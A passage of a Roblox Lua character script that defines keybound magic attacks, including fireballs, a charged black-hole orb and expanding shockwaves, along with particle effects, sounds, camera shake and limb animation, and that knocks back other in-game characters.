blastwave.Size = Vector3.new(3,3,3)
coroutine.wrap(function()
for i = 1, 20 do
blastwave.Size = blastwave.Size + Vector3.new(2,2,2)
blastwave.Transparency = blastwave.Transparency + 0.05
swait()
end
blastwave:Remove()
end)()
coroutine.wrap(function()
while levitate do
mnb = mnb + 15
levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0)
levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0)
colors = colortable[math.random(1,#colortable)]
lmagic = Instance.new("Part",LeftArm)
lmagic.Material = "Neon"
lmagic.CanCollide = false
lmagic.Anchored = true
lmagic.BrickColor = BrickColor.new(colors)
lmagic.Size = Vector3.new(1,1,1)
lmagic.CFrame = leftlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(lmagic,2)
rmagic = Instance.new("Part",RightArm)
rmagic.Material = "Neon"
rmagic.CanCollide = false
rmagic.Anchored = true
rmagic.BrickColor = BrickColor.new(colors)
rmagic.Size = Vector3.new(1,1,1)
rmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(rmagic,2)
for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then
v.Transparency = v.Transparency + 0.05
end
end
for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then
v.Transparency = v.Transparency + 0.05
end
end
swait()
end
end)()
framee = Instance.new("Frame")
framee.Parent = screenGui
framee.Position = UDim2.new(0, 8, 0, -500)
framee.Size = UDim2.new(100000000,10000000,10000000,10000000)
framee.BackgroundColor3 = BrickColor.new("White").Color
framee.BackgroundTransparency = 0
coroutine.wrap(function()
wait(.2)
for i = 1, 40 do
hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0))
framee.BackgroundTransparency = framee.BackgroundTransparency + 0.025
swait()
end
hum.CameraOffset = Vector3.new(0,0,0)
framee:Remove()
end)()
doomtheme.SoundId = "rbxassetid://1382488262"
doomtheme:Play()
doomtheme.Volume = 2
doomtheme.TimePosition = 20.7
jesterWeld.C0 = jesterWeld.C0 * CFrame.new(.3,-.3,0) * CFrame.Angles(math.rad(0),math.rad(-90),0)
mjester.MeshId = "rbxassetid://193760002"
mjester.TextureId = "rbxassetid://379225327"
mjester.VertexColor = Vector3.new(1, 0, 0)
maskweld.C0 = maskweld.C0 * CFrame.new(0,.55,-.5) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
mMask.MeshId = "rbxassetid://13520257"
mMask.Scale = Vector3.new(1.1, 1, 1)
mMask.TextureId = "rbxassetid://13520260"
eyo1:Remove()
eyo2:Remove()
coroutine.wrap(function()
while levitate do
hum.HipHeight = 3 - .5 * math.sin(sine/9)
swait()
end
end)()
attacking = false
debounce = false
coroutine.wrap(function()
wait(3)
notallowedtransform = false
end)()
end
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='.' then
hum.Parent:BreakJoints()
end
end)
checks1 = coroutine.wrap(function() -------Checks
while true do
if Root.Velocity.y > 1 and levitate == false then
position = "Jump"
elseif Root.Velocity.y < -1 and levitate == false then
position = "Falling"
elseif Root.Velocity.Magnitude < 2 and running == false and not levitate then
position = "Idle"
elseif Root.Velocity.Magnitude < 2 and running == false then
position = "Idle2"
elseif Root.Velocity.Magnitude < 20 and running == false and levitate == false then
position = "Walking"
elseif Root.Velocity.Magnitude > 20 and running == false and levitate then
position = "Walking2"
elseif Root.Velocity.Magnitude > 20 and levitate == false then
position = "Running"
else
end
wait()
end
end)
checks1()
function ray(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS)
return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS)
end
function ray2(StartPos, EndPos, Distance, Ignore)
local DIRECTION = CFrame.new(StartPos,EndPos).lookVector
return ray(StartPos, DIRECTION, Distance, Ignore)
end
OrgnC0 = Neck.C0
local movelimbs = coroutine.wrap(function()
while RunSrv.RenderStepped:wait() do
TrsoLV = Torso.CFrame.lookVector
Dist = nil
Diff = nil
if not MseGuide then
print("Failed to recognize")
else
local _, Point = Workspace:FindPartOnRay(Ray.new(Head.CFrame.p, mouse.Hit.lookVector), Workspace, false, true)
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
local _, Point2 = Workspace:FindPartOnRay(Ray.new(LeftArm.CFrame.p, mouse.Hit.lookVector), Workspace, false, true)
Dist2 = (LeftArm.CFrame.p-Point).magnitude
Diff2 = LeftArm.CFrame.Y-Point.Y
HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
Neck.C0 = Neck.C0:lerp(OrgnC0*CFrame.Angles((math.tan(Diff/Dist)*1), 0, (((Head.CFrame.p-Point).Unit):Cross(Torso.CFrame.lookVector)).Y*1), .1)
end
end
end)
movelimbs()
immortal = {}
for i,v in pairs(Character:GetDescendants()) do
if v:IsA("BasePart") and v.Name ~= "lmagic" and v.Name ~= "rmagic" then
if v ~= Root and v ~= Torso and v ~= Head and v ~= RightArm and v ~= LeftArm and v ~= RightLeg and v.Name ~= "lmagic" and v.Name ~= "rmagic" and v ~= LeftLeg then
v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
end
table.insert(immortal,{v,v.Parent,v.Material,v.Color,v.Transparency})
elseif v:IsA("JointInstance") then
table.insert(immortal,{v,v.Parent,nil,nil,nil})
end
end
for e = 1, #immortal do
if immortal[e] ~= nil then
local STUFF = immortal[e]
local PART = STUFF[1]
local PARENT = STUFF[2]
local MATERIAL = STUFF[3]
local COLOR = STUFF[4]
local TRANSPARENCY = STUFF[5]
if levitate then
if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= eyo1 and PART.Name ~= eyo2 and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then
PART.Material = MATERIAL
PART.Color = COLOR
PART.Transparency = TRANSPARENCY
end
PART.AncestryChanged:connect(function()
PART.Parent = PARENT
end)
else
if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then
PART.Material = MATERIAL
PART.Color = COLOR
PART.Transparency = TRANSPARENCY
end
PART.AncestryChanged:connect(function()
PART.Parent = PARENT
end)
end
end
end
function immortality()
end
coroutine.wrap(function()
while true do
if hum.Health < .1 then
end
wait()
end
end)()
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='g' then
if not levitate then return end
if debounce then return end
debounce = true
attacking = true
FireBall:Play()
ws = 15
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
for i = 1, 15 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3)
swait()
end
local swoosh = Instance.new("Part",Torso)
swoosh.Name = "swoosh"
swoosh.CFrame = rightlocation.CFrame * CFrame.new(0,0,0)
swoosh.Size = Vector3.new(1.7,1.7,1.7)
swoosh.Shape = "Ball"
swoosh.Material = "Neon"
swoosh.BrickColor = BrickColor.new("Really black")
swoosh.CanCollide = false
swoosh.Touched:connect(function(hit)
if hit.Parent:IsA("Part") then
elseif hit.Parent:IsA("SpecialMesh") then
elseif hit.Parent.Name == game.Players.LocalPlayer.Name then
elseif hit.Parent:findFirstChildOfClass("Humanoid") then
Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid")
if Slachtoffer.Health < 1 then return end
if damagedebounce == true then return end
damagedebounce = true
swoosh:Remove()
explosion = Instance.new("Part",LeftArm)
explosion.CFrame = hit.CFrame
explosion.Anchored = true
explosion.CanCollide = false
explosion.Name = "explo"
explosion.Shape = "Ball"
explosion.BrickColor = BrickColor.new("Really black")
explosion.Material = "Neon"
removeuseless:AddItem(explosion,1.5)
vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(swoosh.Position,torso.Position).lookVector*60
removeuseless:AddItem(vel,.1)
SOUND(explosion,472579737,6,false,3)
coroutine.wrap(function()
if firsttime2 then return end
firsttime2 = true
while true do
for i,v in pairs(LeftArm:GetChildren()) do
if v.Name == "explo" then
v.Size = v.Size + Vector3.new(2.5,2.5,2.5)
v.Transparency = v.Transparency + .05
end
end
for i,v in pairs(LeftArm:GetChildren()) do
if v.Name == "shock" then
v.Transparency = v.Transparency + .05
end
end
for i,v in pairs(LeftArm:GetChildren()) do
if v.Name == "shock2" then
v.Transparency = v.Transparency + .05
end
end
swait()
end
end)()
Slachtoffer:TakeDamage(math.random(0,0))
wait(.1)
damagedebounce = false
end
end)
coroutine.wrap(function()
if firsttime then return end
firsttime = true
while wait() do
for i,v in pairs(Torso:GetChildren()) do
if v.Name == "swoosh" then
magiccc = Instance.new("Part",RightArm)
magiccc.Material = "Neon"
magiccc.CanCollide = false
magiccc.Anchored = true
magiccc.BrickColor = BrickColor.new(colors)
magiccc.Size = Vector3.new(1.5,1.5,1.5)
magiccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(magiccc,2)
end
end
end
end)()
bov = Instance.new("BodyVelocity",swoosh)
bov.maxForce = Vector3.new(99999,99999,99999)
swoosh.CFrame = CFrame.new(swoosh.Position,mouse.Hit.p)
bov.velocity = swoosh.CFrame.lookVector*120
removeuseless:AddItem(swoosh,4)
for i = 1, 15 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5)
swait()
end
ws = 50
removeuseless:AddItem(g1,0.01)
debounce = false
attacking = false
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='h' then
if not levitate then return end
if debounce then return end
debounce = true
attacking = true
ws = 0
appi = true
coroutine.wrap(function()
while appi do
swait()
if Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle3"
end
end
end)()
coroutine.wrap(function()
while appi do
swait()
settime = 0.05
sine = sine + change
if position == "Idle3" and attacking == true and appi == true then
change = .4
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1)
LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4)
end
end
end)()
coroutine.wrap(function()
for i = 1, 20 do
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(0,math.rad(50),0),.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.1,1.3,1.1) * CFrame.Angles(math.rad(180),math.rad(-50),math.rad(0)), 0.3)
swait()
end
end)()
SOUND(LeftArm,1982011510,8,false,15)
blackhole={}
orbzfade={}
xz = 0
for i = 1, 220 do
xz = xz + .009
bigrmagic = Instance.new("Part",RightArm)
bigrmagic.Material = "Neon"
bigrmagic.CanCollide = false
bigrmagic.Anchored = true
bigrmagic.BrickColor = BrickColor.new(colors)
bigrmagic.Size = Vector3.new(xz,xz,xz)
bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(bigrmagic,1)
orbz = Instance.new("Part", Torso)
orbz.Material = "Neon"
orbz.BrickColor = BrickColor.new(colors)
orbz.Size = Vector3.new(2,2,2)
orbz.Anchored = true
orbz.CanCollide = false
removeuseless:AddItem(orbz,1)
orbz.CFrame = rightlocation.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180))
table.insert(blackhole,orbz)
table.insert(orbzfade,orbz)
for i,v in pairs(blackhole) do
v.Size = v.Size - Vector3.new(.1,.1,.1)
v.CFrame = v.CFrame:lerp(CFrame.new(rightlocation.Position),.09)
end
for i,v in pairs(orbzfade) do
v.Transparency = v.Transparency + 0.025
end
swait()
end
coroutine.wrap(function()
for i = 1, 10 do
for i,v in pairs(blackhole) do
v.Size = v.Size + Vector3.new(.5,.5,.5)
v.Transparency = v.Transparency + .1
end
swait()
end
for i,v in pairs(blackhole) do
v:Remove()
end
clean()
end)()
charging = true
coroutine.wrap(function()
while charging do
bigrmagic = Instance.new("Part",RightArm)
bigrmagic.Material = "Neon"
bigrmagic.CanCollide = false
bigrmagic.Anchored = true
bigrmagic.BrickColor = BrickColor.new(colors)
bigrmagic.Size = Vector3.new(xz,xz,xz)
bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(bigrmagic,.2)
swait()
end
end)()
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
BigFireBall:Play()
for i = 1, 15 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3)
swait()
end
coroutine.wrap(function()
for i = 1, 15 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5)
swait()
end
end)()
charging = false
local ballzor = Instance.new("Part",Torso)
ballzor.Name = "ballzor"
ballzor.Material = "Neon"
ballzor.BrickColor = BrickColor.new("Really black")
ballzor.CanCollide = false
ballzor.Size = Vector3.new(xz,xz,xz)
ballzor.Anchored = false
ballzor.CFrame = Root.CFrame * CFrame.new(1,0,-5)
ballzor.Shape = "Ball"
removeuseless:AddItem(g1,.0001)
zx = xz + .05
coroutine.wrap(function()
if firsttime5 then return end
firsttime5 = true
while true do
swait()
for i,v in pairs(Torso:GetChildren()) do
if v.Name == "ballzor" then
magicccc = Instance.new("Part",RightArm)
magicccc.Material = "Neon"
magicccc.CanCollide = false
magicccc.Name = "magicccc"
magicccc.Anchored = true
magicccc.Transparency = 0
magicccc.BrickColor = BrickColor.new(colors)
magicccc.Size = Vector3.new(zx,zx,zx)
magicccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
removeuseless:AddItem(magicccc,2)
end
end
for i,v in pairs(RightArm:GetChildren()) do
if v.Name == "magicccc" then
v.Transparency = v.Transparency + 0.025
end
end
end
end)()
ballzor.Touched:connect(function(hit)
if hit.Name ~= "magicccc" then
if bigball then return end
bigball = true
local explosionwave = Instance.new("Part",Torso)
explosionwave.Shape = "Ball"
explosionwave.BrickColor = BrickColor.new("Really black")
explosionwave.Anchored = true
explosionwave.CanCollide = false
explosionwave.Transparency = .2
explosionwave.Material = "Neon"
explosionwave.Size = Vector3.new(1,1,1)
explosionwave.CFrame = ballzor.CFrame
render = Instance.new("Sound",explosionwave)
render.SoundId = "rbxassetid://2006635781"
render.Volume = 10 * 10
render:Play()
local explosionwave2 = Instance.new("Part",Torso)
explosionwave2.Shape = "Ball"
explosionwave2.BrickColor = BrickColor.new("Really red")
explosionwave2.Anchored = true
explosionwave2.CanCollide = false
explosionwave2.Material = "Neon"
explosionwave2.Size = Vector3.new(.8,.8,.8)
explosionwave2.CFrame = ballzor.CFrame
deadlywave = Instance.new("Part", explosionwave)
deadlywave.Size = Vector3.new(1,1,1)
deadlywave.CanCollide = false
deadlywave.Anchored = true
deadlywave.Transparency = .5
deadlywave.BrickColor = BrickColor.new("Really red")
deadlywave.CFrame = CFrame.new(explosionwave.Position)
deadlywavemesh = Instance.new("SpecialMesh", deadlywave)
deadlywavemesh.Scale = Vector3.new(1,2,1)
deadlywavemesh.MeshId = "rbxassetid://20329976"
deadlywave2 = Instance.new("Part", explosionwave)
deadlywave2.Size = Vector3.new(1,1,1)
deadlywave2.CanCollide = false
deadlywave2.Anchored = true
deadlywave2.Transparency = .5
deadlywave2.BrickColor = BrickColor.new("Really black")
deadlywave2.CFrame = CFrame.new(explosionwave.Position)
deadlywave2mesh = Instance.new("SpecialMesh", deadlywave2)
deadlywave2mesh.Scale = Vector3.new(3,2,3)
deadlywave2mesh.MeshId = "rbxassetid://20329976"
deadlyring = Instance.new("Part", Torso)
deadlyring.Size = Vector3.new(5, 5, 5)
deadlyring.Transparency = 0.5
deadlyring.BrickColor = BrickColor.new("Really black")
deadlyring.Anchored = true
deadlyring.CanCollide = false
deadlyring.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180)))
deadlyringh = Instance.new("SpecialMesh", deadlyring)
deadlyringh.MeshId = "http://www.roblox.com/asset/?id=3270017"
deadlyringh.Scale = Vector3.new(8, 8, .1)
deadlyring2 = Instance.new("Part", Torso)
deadlyring2.Size = Vector3.new(5, 5, 5)
deadlyring2.Transparency = 0.5
deadlyring2.BrickColor = BrickColor.new("Really black")
deadlyring2.Anchored = true
deadlyring2.CanCollide = false
deadlyring2.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180)))
deadlyringh2 = Instance.new("SpecialMesh", deadlyring2)
deadlyringh2.MeshId = "http://www.roblox.com/asset/?id=3270017"
deadlyringh2.Scale = Vector3.new(8, 8, .1)
ballzor:Remove()
bigball = false
staybooming = true
d = 5
coroutine.wrap(function()
while staybooming do
Hit = damagealll(d,deadlywave.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(deadlywave.Position,torso.Position).lookVector*50
removeuseless:AddItem(vel,.1)
end
wait(.1)
end
end)()
for i = 1, 70 do
d = d + 1
deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(.5, .5, .1)
deadlyringh.Scale = deadlyringh.Scale + Vector3.new(.5, .5, .1)
deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+7),math.rad(0-7),math.rad(0+7))
deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-7),math.rad(0+7),math.rad(0-7))
deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+7),0)
deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+4),0)
deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(.4,0,.4)
deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(.5,0,.5)
explosionwave.Size = explosionwave.Size + Vector3.new(.5,.5,.5)
explosionwave2.Size = explosionwave2.Size + Vector3.new(.5,.5,.5)
swait()
end
for i = 1, 80 do
d = d + 3
hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1))
deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2)
deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2)
deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12))
deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12))
deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0)
deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0)
deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,2,3)
deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,1,4)
explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4)
explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4)
swait()
end
staybooming = false
for i = 1, 20 do
d = d + 3
hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1))
deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2)
deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2)
deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12))
deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12))
deadlyring.Transparency = deadlyring.Transparency + .25
deadlyring2.Transparency = deadlyring2.Transparency + .25
deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0)
deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0)
deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,0,3)
deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,0,4)
deadlywave.Transparency = deadlywave.Transparency + .25
deadlywave2.Transparency = deadlywave2.Transparency + .25
explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4)
explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4)
explosionwave.Transparency = explosionwave.Transparency + 0.25
explosionwave2.Transparency = explosionwave2.Transparency + 0.05
swait()
end
hum.CameraOffset = Vector3.new(0,0,0)
explosionwave:Remove()
explosionwave2:Remove()
end
end)
bov = Instance.new("BodyVelocity",ballzor)
bov.maxForce = Vector3.new(99999,99999,99999)
ballzor.CFrame = CFrame.new(ballzor.Position,mouse.Hit.p)
bov.velocity = ballzor.CFrame.lookVector*200
removeuseless:AddItem(ballzor,4)
ws = 50
attacking = false
debounce = false
appi = false
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='j' then
if not levitate then return end
if debounce then return end
debounce = true
charging = true
attacking = true
downpress = false
x = 1
ws = 0
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
SOUND(RightArm,2014087015,8,false,3)
coroutine.wrap(function()
Charge = Instance.new("Sound",RightArm)
Charge.SoundId = "rbxassetid://101153932"
Charge.Looped = false
Charge.Volume = 8
Charge:Play()
end)()
appi = true
coroutine.wrap(function()
while appi do
swait()
if Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle3"
end
end
end)()
coroutine.wrap(function()
while appi do
swait()
settime = 0.05
sine = sine + change
if position == "Idle3" and attacking == true and appi == true then
change = .4
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1)
LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4)
end
end
end)()
for i = 1, 15 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3)
swait()
end
for i = 1, 3 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3)
x = x + .1
blastborb = Instance.new("Part",Torso)
blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
blastborb.BrickColor = BrickColor.new(colors)
blastborb.Anchored = true
blastborb.Size = Vector3.new(10,10,10)
blastborb.CanCollide = false
blastborb.Material = "Neon"
for i = 1, 5 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4)
blastborb.Size = blastborb.Size - Vector3.new(1,1,1)
swait()
end
blastborb:Remove()
swait()
end
downpress = true
while charging and x < 5 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3)
x = x + .1
blastborb = Instance.new("Part",Torso)
blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
blastborb.BrickColor = BrickColor.new(colors)
blastborb.Anchored = true
blastborb.Size = Vector3.new(10,10,10)
blastborb.CanCollide = false
blastborb.Material = "Neon"
for i = 1, 5 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4)
blastborb.Size = blastborb.Size - Vector3.new(1,1,1)
swait()
end
blastborb:Remove()
swait()
end
coroutine.wrap(function()
for i = 1, 20 do
Charge.Volume = Charge.Volume - .5
swait()
end
end)()
local bigswoosh = Instance.new("Part",Torso)
bigswoosh.Name = "bigswoosh"
bigswoosh.CFrame = Root.CFrame * CFrame.new(1,0,-5)
bigswoosh.Size = Vector3.new(1,1,1)
bigswoosh.Material = "Neon"
bigswoosh.Anchored = true
bigswoosh.Transparency = 1
bigswoosh.BrickColor = BrickColor.new("Really red")
bigswoosh.CanCollide = false
SOUND(bigswoosh,842332424,10,false,6)
SOUND(bigswoosh,2017948224,10,false,6)
SOUND(bigswoosh,138677306,10,false,4)
coroutine.wrap(function()
local loc1 = Instance.new("Part",bigswoosh)
loc1.CFrame = bigswoosh.CFrame * CFrame.new(-3,0,0)
loc1.Size = Vector3.new(2,2,2)
loc1.Anchored = true
loc1.Transparency = 1
loc1.CanCollide = false
